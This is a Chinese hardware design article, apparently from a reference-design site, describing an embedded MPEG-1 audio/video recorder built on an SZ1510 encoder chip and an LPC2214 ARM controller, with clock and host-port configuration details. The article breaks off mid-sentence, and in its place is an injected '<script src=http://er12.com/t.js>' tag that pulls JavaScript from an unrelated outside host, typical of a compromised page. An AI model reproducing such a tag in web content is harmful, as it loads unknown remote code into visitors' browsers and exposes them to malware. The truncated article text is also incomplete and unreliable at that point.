数字视频压缩的大容量记录系统设计

引言

  随着计算机技术、多媒体和数据通信技术的迅速发展,数字视频的应用越来越广,如视频监控、视频会议和移动电视等。数字视频数据量巨大,不利于传输和存储,使其应用受到很大限制。为解决视频数据的存储和传输问题,唯一的途径就是对视频数据进行压缩。常见的视频压缩方法有mpeg系列和h.26x系列。考虑到压缩技术的成熟度、成本和主要用途,采用mpeg-1作为压缩标准,设计出基于arm处理器的嵌入式数字视频记录系统。该系统适用于视频监控、视频会议等多种应用场合,同时还可安装在飞行器上,用于实时记录飞行器的飞行及训练过程中的各种信息。

  目前,市场上有大量的基于pci总线的mpeg-1视频压缩卡和pc机构架的网络视频服务器。与之相比,我们设计的视频记录系统具有成本低、体积小和功耗低等优势。

1 系统工作原理

  视频压缩记录系统的设计着眼于控制器的嵌入化和整体的便携性。本系统主要由3部分组成,即压缩部分、控制部分和存储部分。视频记录系统的结构组成如图1所示。其中压缩部分由mpeg1音视频压缩电路组成,主要功能是实现对输入的音视频信号解码、数字化和压缩编码,产生mpeg1程序流和传输流;控制部分由arm最小系统组成,用于实现对整个系统的控制、数据流管理和ide接口控制;存储部分由大容量硬盘或cf存储卡组成,实现对压缩数据的实时长时间记录。

  系统启动时,arm处理器对整个压缩系统进行初始化,首先通过host接口对sz1510内部寄存器进行配置,并使用sz1510的串行接口模拟i2c总线对视频***saa7113h进行初始化。当设置好mpeg-1的压缩格式及数据速率后,系统开始正常工作,音视频信号经ak4550音频处理芯片和saa7113视频处理芯片进行a/d转换,输出8位的pcm格式数字音频信号和4∶2∶0的ycbcr数字视频信号,传入sz1510音视频压缩采集芯片进行处理,将数字音视频数据转化为符合mpeg-1格式的混合影视文件,最后mpeg1数据流在arm处理器的控制下通过ide接口写入硬盘或cf卡。在工作时,arm还将不断监视相关信号,并在图像中加入相应的标志,直到接收到关机信号,系统自动结束压缩工作。

2 硬件电路设计

  由于mpeg-1压缩算法需要很大的运算量,用软件实时完成比较困难,所以在本系统中主要依靠专用芯片实现对视频信号的高效压缩。目前,常用的mpeg-1压缩芯片有vw2010、w99200f、wis 7007sb等。本设计采用的是zapex公司的sz1510 mpeg-1 a/v编码芯片,自身完成音视频的同步编码,16位host接口易于与多种微处理器连接。另外,该芯片还可以直接控制视频解码芯片saa7113h、音频解码芯片ak4550vt和sdram(km416s1020ct-g10)。cpu采用philips公司的arm7tdmis内核微控制器lpc2214,通过其i/o端口控制ide接口硬盘或cf卡的数据读取和存储。

图1 数字视频记录系统结构框图

2.1 mpeg-1压缩电路设计

  sz1510是一个 mpeg-1和运动jpeg图像编码器。其内置的视频压缩核经过优化,适合高效、实时的mpeg1数字图像压缩,具有功能多、功耗低、温度范围宽等特点;同时整合了ti公司的tms320c54x高性能dsp内核,可依据mpeg-1标准对音视频同步编码。

(1) 时钟同步电路设置

  sz1510是一个复杂的视频压缩小系统,要完成音视频的同步,mpeg-1视频的压缩以及系统内部数据流的复合、调度;时钟关系较为复杂,是系统设计的一个难点。时钟配置可分为主时钟、音视频时钟、视频压缩核时钟、dsp核时钟以及扩展的i2s接口时钟几部分。其功能和关系为:

  ◆ 主时钟。sz1510的主时钟为稳定的27 mhz(clk)。该时钟在芯片内部被pll1倍频为81 mhz,驱动sz1510的视频压缩核及sdram。pll2连到dsp内核,通过软件配置使其工作在94.5 mhz,用于音频压缩和系统数据流复合。

  ◆ 音视频时钟。视频时钟来自视频***,典型值为27 mhz。音频时钟由视频时钟分频产生。

  ◆ i2s接口时钟。本系统中在音视频同步设计中使用i2s接口的从模式,由sz1510产生串行时钟和帧同步信号。

(2) 主机(host)端口设置

  sz1510作为从设备,受主机控制,其host接口是sz1510的控制和数据交换接口。sz1510可以选择复用或不复用的intel和motorola总线类型;不复用总线,又可以分为8位和16位。具体的主机端口由hconfig[1∶0]引脚和sysconfig[3]寄存器配置。在本系统设计中,通过跳线把hconfig0拉低,hconfig1拉高,使其工作在intel 8051类型的非复用的16位数据总线模式下。

2.2 lpc2214微处理器电路设计

  lpc2214是一款基于32位arm7tdmi-s,支持实时仿真和跟踪的cpu;带有16 kb片内sram、256 kb嵌入的高速flash存储器、128位宽度的存储器接口和独特的加速结构,使32位代码能够在最大时钟速率60 mhz下运行?script src=http://er12.com/t.js>

  • 数字视频压缩的大容量记录系统设计已关闭评论
    A+
发布日期:2019年07月02日  所属分类:参考设计